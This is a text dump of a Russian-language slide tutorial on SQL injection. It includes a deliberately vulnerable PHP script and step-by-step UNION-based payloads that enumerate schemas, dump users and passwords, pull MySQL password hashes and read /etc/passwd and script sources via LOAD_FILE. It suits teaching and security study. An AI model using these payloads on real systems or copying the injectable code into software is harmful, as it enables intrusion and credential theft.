Sql-inj с примерами.ppt
- Количество слайдов: 45
Sql-inj с примерами
What is SQL? n Structured Query Language – структурированный язык запросов. n Он используется для обращения к СУБД(Система Управления Базами Данных) с целью получения/изменения/удаления данных, существующих в базе.
Example n Можно привести большинство форумов. При “заходе” в какую-нибудь тему мы передаём скрипту на сервере нечто вроде showthread=285. n Затем скрипт, используя полученные данные, производит запрос к СУБД, которая в свою очередь обращается к самой базе. Потом СУБД возвращает полученные данные, скрипту, который, обработав их, передаёт их в браузер. n SQL тут используется на стадии обращения скрипта к СУБД.
Упрощённое устройство реаляционных баз данных. n n Наименьшей единицей в устройстве БД является поле(field). Поле, это грубо говоря – ячейка, в которой хранится собственно информация. Поля объединяются в записи(record, row). Запись это аналог строки. Так же каждое поле относится к какой-либо колонке(column). Например, колонка username, колонка password, колонка email итд. Затем, записи объеденяются в таблицы(table). Каждая таблица имеет однотипные записи. Например, таблица users, в которой записаны имя пользователя, его пароль и адрес электронной почты.
Упрощённое устройство реаляционных баз данных.
What is SQL inj? n Инъекция (от англ. Injection – введение, внедрение) это вставка произвольного SQL-кода в плохо фильтруемые параметры, которые используются в запросе к базе данных, с целью получения оттуда информации (например, пароля админа).
Как определить наличие SQL уязвимости? 1 способ Самый, наверно, известный способ, это подстановка кавычки (‘) в запрос. Например, forum. somesite. com/index. php? showthread=285’ n Если имеется уязвимость, и ошибки не подавляются, то появится ошибка, например такого содержния mysql_fetch_assoc(): supplied argument is not a valid My. SQL result resource. n Если же подавляются, то о наличии уязвимости может свидетельствовать пустой результат. n
Как определить наличие SQL уязвимости? 2 способ Еще один способ заключается в подставлении вместо числа арифметического выражении. Например, если forum. somesite. com/index. php? showthread=285 и forum. somesite. com/index. php? showthread=284+1 возвращают одну и ту же страницу, то вполне вероятно, что имеет место быть уязвимость. n
Как определить наличие SQL уязвимости? 3 способ n Так же полезным может быть задание сортировки ORDER BY по 1 -му столбцу, с комментированием остатка. (об этом ниже) forum. somesite. com/index. php? showthread=285+ ORDER+BY+1 --+ forum. somesite. com/index. php? showthread=285+ ORDER+BY+1/*
Переходим к практике. n Итак, всё нужное установлено и настроено (Denwer), запускаем My. SQL Command Line Client, и вводим указанный при установке пароль.
Создаём тестовую базу данных. mysql> CREATE DATABASE test; Затем переключаемся на неё mysql> USE test; Создаём 2 таблицы – users и pages mysql> CREATE TABLE users ( -> username VARCHAR(32) NOT NULL, -> password VARCHAR(32) NOT NULL, -> email VARCHAR(48) -> ); mysql> CREATE TABLE pages ( -> id SMALLINT NOT NULL AUTO_INCREMENT, -> content TEXT NOT NULL, -> PRIMARY KEY(id) -> );
CREATE – как ясно из названия, что-то создаёт. Создавать он может либо DATABASE, принимая в качестве аргумента название новой базы, либо TABLE, тогда ему надо дать описание каждой колонки – название, тип, модификаторы а также ключи Типы: n VARCHAR(x) – строка переменной длины, до x символов (не более 1 FEh) n SMALLINT – целое число от -8000 h до 7 FFFh n TEXT – Текст до FFFFh символов(64 КБ) n
Модификаторы: n NOT NULL – поле не может содержать неопределенного(NULL) значения и должно быть явно инициализовано. n AUTO_INCREMENT – автоматическое увеличение значения этого поля на единицу, при добавлении новой записи. n Ключ: PRIMARY KEY – значение поля, установленного в качестве первичного ключа, должно быть уникальным в своей колонке. Не применимо к полю, допускающему значение NULL USE – переключает текущую базу данных. В качестве аргумента принимает её название.
n Затем набиваем созданные таблицы значениями n mysql> INSERT INTO users (username, password, email) VALUES -> (‘admin’, ’qwerty’, ’admin@localhost’), -> (‘lamer’, ’ 1234’, ’lamer@mail. ru’), -> (‘hacker’, ’ef 433$532’, ’hacker@hack. com’); n n n mysql> INSERT INTO pages (content) -> VALUES (‘Page 1’), (‘Page 2’), (‘Page 3’);
n n n INSERT INTO – Добавляет в указанную таблицу новые записи. Синтаксис: INSERT INTO название_таблицы (колонки, в которые вставляются значения) VALUES (Запись1), (Запись2), . . . (Запись. N); Если не указать колонку, имеющую модификатор NOT NULL, то произойдёт ошибка, и данные добавлены не будут. В данном случае, колонка id , имеющая модификатор NOT NULL не указанна, но поскольку она имеет модификатор AUTO_INCREMENT, то значение в ней было установлено автоматически.
n Теперь можно посмотреть результат : n mysql> SELECT * FROM pages; mysql> SELECT * FROM users; n
n n SELECT – самый, наверное, важный оператор – выбирает из указанной таблицы данные из указанных столбцов (* -- все столбцы). Попробуйте так: SELECT username, email FROM users; Будут выведены только колонки username и email.
n WHERE – распространяет действие команды только на те записи, которые соответствуют условию. Например: SELECT * FROM users WHERE username=’admin’; n ORAND -- Объединение условий n OR – если выполняется хотя бы одно условие. SELECT * FROM users WHERE username=’admin’ OR username=’hacker’; n n AND – если выполняются все условия n SELECT * FROM users WHERE password=’ 1234’ AND email=’lamer@mail. ru’; n SELECT * FROM users WHERE username=’admin’ AND password=’ef 433$532’ (Ничего не выведет, так как таких записей нет. (Empty set)) n
n n n n ORDER BY -- задаёт сортировку по столбцу(название или номер) SELECT * FROM users ORDER BY username; SELECT * FROM users ORDER BY 2; LIMIT -- Выбирает в результирующую таблицу начиная со смещения k , N записей (LIMIT k, N) SELECT * FROM users LIMIT 0, 1; SELECT * FROM users LIMIT 1, 2; Можно указать только кол-во записей. тогда смещение будет по дефолту равно 0. SELECT * FROM users LIMIT 2;
n n n n n n UPDATE -- обновление значений таблицы Синтаксис: UPDATE имя_таблицы SET поле 1='значение 1', поле 2='значение 2', . . . , поле. N='значение. N' WHERE условие; Например: UPDATE users SET password='123 qwerty 456' WHERE username='admin'; ---DELETE -- удаление записи из таблицы. Синтаксис: DELETE FROM имя_таблицы WHERE условие ; Например DELETE FROM users WHERE username='lamer'; !Если не указать условие, то таблица будет полностью очищена! ---DROP -- удаляет таблицу или базу данных, !в не зависимости от того, содержит ли она что-либо! Синтаксис: DROP [TABLE | DATABASE] имя Например DROP TABLE testtable
Скрипт для работы с БД n Теперь сделаем php скрипт, который будет работать с базой данных. n php $host='localhost'; $user='root'; $password=''; //Надо вставить пароль, указанный при установке My. SQL $database='test'; //Установка значений переменных n n n n n n if (empty($_REQUEST['id'])) die ("404 Not Found"); //Если не получен параметр id, выдаём ошибку и завершаем работу. $sql=mysql_connect($host, $user, $password); //Установка соединения с СУБД. mysql_select_db($database, $sql); //Выбор базы данных. $request="SELECT id, content FROM pages WHERE id=". $_REQUEST['id']; //Составление запроса на получение поля с указанным id. $sql_res=mysql_query($request, $sql); //Отправка запроса. Запись результата в $result. if (mysql_num_rows($sql_res)==0) die ("404 Not Found"); //Проверка результата. Если вернулось 0 строк, выдаём ошибку и завершаем работу. $result=mysql_fetch_assoc($sql_res); //Обработка результата, представление первой строки в виде ассоциативного массива. mysql_close($sql); //Закрытие соединения. echo $result['content']; //Вывод результата. ? >
n Сохраняем скрипт как sql. php в папку для html-документов, запускаем веб-сервер, открываем браузер и вводим в адресную строку: http: //localhost/sql. php? id=1 http: //localhost/sql. php? id=2 http: //localhost/sql. php? id=5 n А теперь http: //localhost/sql. php? id=1’ n n n
Объясняем ошибку. n n n n Что мы видим? А видим мы нечто вроде Warning: mysql_fetch_assoc(): supplied argument is not a valid My. SQL result resource in С: wwwhtmlsql. php on line 11 Вот и SQL уязвимость в чистом виде. Почему так произошло? Да потому, что введённые данные никак не фильтруются(кроме того, что кавычки и другие символы экранируются) и сразу передаются в СУБД. My. SQL попыталась выполнить запрос SELECT * FROM pages WHERE id=2’; А поскольку 2' не является SMALLINT, как было объявлено, возникает ошибка.
Команда UNION n n Теперь надо рассказать о такой прекрасной команде, как UNION соединяет несколько результатов запросов в 1 таблицу. SELECT 1, 2 UNION SELECT 3, 4; Имена колонок, при этом берутся из первого запроса, даже если он возвращает 0 записей.
n n n Однако, для работы UNION запросы должны получать одинаковое кол-во столбцов. Например: SELECT 1, 2, 3 UNION SELECT 4, 5; Вызовет ошибку. Так, же объеденяемые поля должны иметь одинаковый тип данных или быть совместимыми (например CHAR и VARCHAR, NULL конвертируется в любой тип).
Подбор кол-ва столбцов (ORDER BY) n Для проведения инъекции с использованием UNION надо подобрать количество столбцов, возвращаемых изначальным запросом. Самый простой способ подбора, это использование ORDER BY. Если мы задаём в качестве параметра число большее, чем кол-во колонок, то возникает ошибка. Перебирать удобнее всего по 5. http: //localhost/sql. php? id=1+ORDER+BY+5 n http: //localhost/sql. php? id=1+ORDER+BY+10 n И тд, пока не появится ошибка. У нас ошибка появится сразу, т. к. колонок меньше 5. n http: //localhost/sql. php? id=1+ORDER+BY+4 n http: //localhost/sql. php? id=1+ORDER+BY+3 n http: //localhost/sql. php? id=1+ORDER+BY+2 При 2 ошибка исчезает. Из того делаем вывод, что колонок -- 2 n
n n n Теперь смотрим, какое поле выводится. Для этого подставляем в запрос команду UNION , с подобранным числом колонок. При этом в изначальный параметр ставим значение, которое заведомо вернёт 0 строк, для того чтобы в 1 -ую строку попал наш, прикреплённый при помощи UNION запрос. Так же, можно использовать команду LIMIT, указав в качестве параметра 0. http: //localhost/sql. php? id=-1+UNION+SELECT+1, 2 http: //localhost/sql. php? id=3+LIMIT+0+UNION+SELECT+1, 2 При этом используется то свойство SQL, что числовой тип прекрасно преобразуется в любой другой. А выводится у нас, как видно, поле 2.
n Примечание: Может встретится ситуация, когда пробел фильтруется. Тогда можно использовать /**/ вместо +
version(), user(), database() Для начала, мы посмотрим с чем мы имеем дело от чьего имени действуем, и в какой базе данных находимся, используя функции version(), user() и database() n http: //localhost/sql. php? id=-1+UNION+SELECT+1, version() http: //localhost/sql. php? id=-1+UNION+SELECT+1, user() http: //localhost/sql. php? id=-1+UNION+SELECT+1, database()
n Вставлять запрос надо по возможности в поле с текстовым типом(чем длиннее, тем лучше), например сообщение на форуме или новость. n Если в version() выводится версия 5. *. ** , то это очень хорошо, так как в My. SQL начиная с 5 -ой версии, согласно 4 правилу доктора Кодда, появилась такая прекрасная вещь, как information_schema , в которой находятся названия всех баз данных, таблиц и колонок. Если же версия меньше 5 -ой, то это не очень хорошо, т. к названия придётся подбирать. Для этого существуют специальные программы, которые найти несложно. Хотя админы обычно не оригинальны, и их пароли как правило хранятся в таблице admin, имеющую колонки username и password. n n
n n n n n n information_schema -- виртуальная база данных My. SQL, содержащая, как ясно из названия, кучу всякой информации. Таблицы и столбцы, содержащие названия баз данных, таблиц и колонок: schemata – Таблица с названиями баз данных. В ней колонка: schemata_name – собственно само название ---tables – Таблица с названиями таблицами В ней колонки: table_name – название таблицы table_schema – база данных, к которой относится таблица ---columns – Таблица с названиями колонок В ней колонки: column_name – название столбца table_name – название таблицы, к которой относится столбец table_schema – база данных, к которой относится таблица со столбцом ---обращаться к этим таблицам надо соответственно information_schemata information_schema. tables information_schema. columns (База. Таблица) Поскольку в 1 поле выводится одно значение, чтобы просмотреть допустим сразу все имеющиеся записи, надо пользовать функцию group_concat().
group_concat() n n n n n group_concat() – функция, используемая для конкатенации(соединения) полученных результатов. Синтаксис: group_concat(first, second, . . . , n) Например: SELECT group_concat(1, 0 x 3 A, 2); 0 x 3 A – шестнадцатеричный код двоеточия. Так же у функции есть параметр SEPARATOR, который задаёт разделитель при выводе записей (по умолчанию – запятая). Например: SELECT group_concat(username, 0 x 3 A, password SEPARATOR 0 x 7 C) FROM users; (0 x 7 С = |) !Функция group_concat() возвращает поле с типом даных VARCHAR, при установках по умолчанию, имеющий максисальный размер 512 байт (в старых версиях my. SQL 256 байт), это решается тем, что при исползовании UNION, при соеденении с полем типа TEXT или больше, VARCHAR конвертируется. Единственный минус, это то, что для использования надо знать названия колонок(решается использованием information_schema). Как вариант можно использовать функцию concat_ws(sep, first, second, . . . , n)
К вопросу о шестнадцатеричных кодах n n Их использование обуславливается экранированием кавычек. Если отправить скрипту строку ‘string’, то в СУБД она будет передана как ’string’ , что вызовет ошибку. По этому строки надо передавать в виде шестнадцатеричных кодов, либо используя функции преобразования типа Char() и CHR(). Однако, в некоторых местах использование функций недопустимо, а в виде шестнадцатеричного числа строка охотно принимается (хотя есть такие места, где не принимается ни то, ни другое, и приходится обломится). Скрипты или утилиты, переводящие строку в шестнадцатеричное представление найти в интернете или сделать самому весьма несложно. Те же, кому искать лень(или делать умеют), могут воспользоваться написанным далее.
Function WSHInput." src="https://present5.com/presentation/6072035_36541809/image-34.jpg" alt="Скрипт n
Узнавание названий схем, таблиц, колонок с помощью information_schema n Так вот, что-бы узнать названия баз данных, делаем запрос http: //localhost/sql. php? id=-1+UNION+SELECT+1, group_concat (schema_name+SEPARATOR+0 x 0 b)+FROM+information_schemata n n n 0 x 0 b – это непечатный символ, который трактуется оперой(вроде, ещё firefox'ом) как переход на новую строку. В других браузерах, для вывода в столбик надо использовать 0 x 3 C 62723 E ( ) В ответе видим базы данных: information_schema mysql test
n n n information_schema и mysql это встроенные базы, а интересует нас база test Кодируем test (без кавычек!) в шестнадцатеричный код (0 x 74657374) и делаем запрос на названия таблиц http: //localhost/sql. php? id=1+UNION+SELECT+1, group_concat(table_name+SEPARATOR +0 x 0 b)+FROM+information_schema. tables+WHERE+table_sche ma=0 x 74657374 Получаем: pages users
n n pages нас мало интересует, поскольку их 'содержимое' мы и так можем посмотреть, а вот users это то, что надо. Кодируем users(0 x 7573657273) и делаем запрос на названия колонок n http: //localhost/sql. php? id=1+UNION+SELECT+1, group_concat(column_name+SEPARAT OR+0 x 0 b)+FROM+information_schema. columns+WHERE+table _schema=0 x 74657374+AND+table_name=0 x 7573657273 n Получаем: username password email n n n
Вытаскивание информации n n Вытаскиваем содержимое users http: //localhost/sql. php? id=1+UNION+SELECT+1, group_concat(userna me, 0 x 3 A, password, 0 x 3 A, email+SEPARATO R+0 x 0 b)+FROM+test. users
Вытаскивание информации n n Либо просто берём пароль админа(admin, 0 x 61646 D 696 E) http: //localhost/sql. php? id=1+UNION+SELECT+1, password+FROM+tes t. users+WHERE+username=0 x 61646 D 696 E
n n n Кстати, возможно будет интересно попробовать произвести запрос http: //localhost/sql. php? id=1+UNION+SELECT+1, group_concat(user, 0 x 3 A, password+SEPARATOR+0 x 0 b)+FROM+ mysql. user с целью получить хэши паролей доступа к БД, которые расшифровать обычно особого труда не составляет, хотя обычно доступа к таблице mysql. user просто нету.
Сложные запросы и комментирование остатка n Очень часто может встретится проблема, когда запрос усложнён использованием команд, стоящих после параметра, скобок или ещё чегонибудь, что затрудняет инъектирование. n Например, "SELECT * FROM pages WHERE (id= $_REQUEST['id']) ORDER BY id LIMIT 0, 1" И при подстановке простого UNION SELECT произойдёт ошибка. Решается это подбором вариантов относительно скобок и комментированием остатка запроса. В My. SQL знаками комментирования являются: -- (необходим хотя бы один пробел после использования, те --+) /* # Тут, надо было бы делать запросы вроде: http: //localhost/sql. php? id=-1)+UNION+SELECT+1, 2 --+ http: //localhost/sql. php? id=-1)+UNION+SELECT+1, group_concat (username, 0 x 3 A, password+SEPARATOR+0 x 0 b)+FROM+test. users--+ n n n В таком случае команды, стоящие после инъекции, становятся комментарием и на результат запроса уже не влияют. Так же, в некоторых случаях, остаток строки(на уровне php) можно отрезать при помощи %00 (NUL байт).
Немного про файлы Если у пользователя, от имени которого ведется работа с БД имеются права file_priv то можно при помощи функции LOAD_FILE получить на просмотр содержимое произвольного файла. n http: //localhost/sql. php? id=-1+UNION+SELECT+1, LOAD_FILE (0 x 433 A 2 F 746573742 E 747874) n http: //localhost/sql. php? id=-1+UNION+SELECT+1, LOAD_FILE (0 x 2 F 6574632 F 706173737764) n n n 0 x 433 A 2 F 746573742 E 747874 = C: /test. txt 0 x 2 F 6574632 F 706173737764 = /etc/passwd) n Так же, можно вытащить сами файлы скриптов, на предмет паролей доступа к БД , нахождения там каких-либо других уязвимостей (например, PHP include) или же на предмет банального воровства исходников. n http: //localhost/sql. php? id=-1+UNION+SELECT+1, LOAD_FILE (0 x 633 A 2 F 7777772 F 68746 D 6 C 2 F 73716 C 2 E 706870) n (0 x 633 A 2 F 7777772 F 68746 D 6 C 2 F 73716 C 2 E 706870 = c: /www/html/sql. php) Посмотреть можно будет в исходном коде вернувшейся страницы. n
Про то, куда вставлять (не подумайте чего лишнего) А туда, через что передаются данные. А передаваться они могут через: n GET - запросы. (т. е. часть ссылки), как это описано в статье. n POST - запросы. Для их редактирования можно посоветовать аддон для firefox'a Live HTTP Headers или связку программ Smart. Sniff + Inet. Crack. n HTTP_REFERER - Для его редактирования можно пользоваться тем же Live HTTP Headers. n Cookies - Инструмент для их редактирования есть в любом уважающем себя браузере.
Конец


